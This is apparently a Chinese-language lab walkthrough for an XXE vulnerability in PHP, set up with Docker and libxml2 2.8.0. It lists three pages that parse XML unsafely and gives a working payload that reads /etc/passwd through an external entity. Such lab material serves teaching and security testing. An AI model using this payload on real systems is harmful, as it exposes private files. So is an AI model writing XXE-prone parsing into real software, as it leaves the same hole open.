libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
libxml:Libxml是一个实现读、创建及操纵XML数据功能的C语言库。
使用如下命令编译并启动环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
Web目录再WWW文件中:
dom.php 使用DOMDocument解析body
index.php 展示phpinfo作为首页
SimpleXMLElement.php 使用SimpleXMLElement类解析body
simplexml_load_string.php 使用simplexml_load_string函数解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞
访问首页:libxml版本是2.8.0,可以尝试XXE漏洞
测试Dom.php进行触发XXE漏洞:
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
读取 /etc/passwd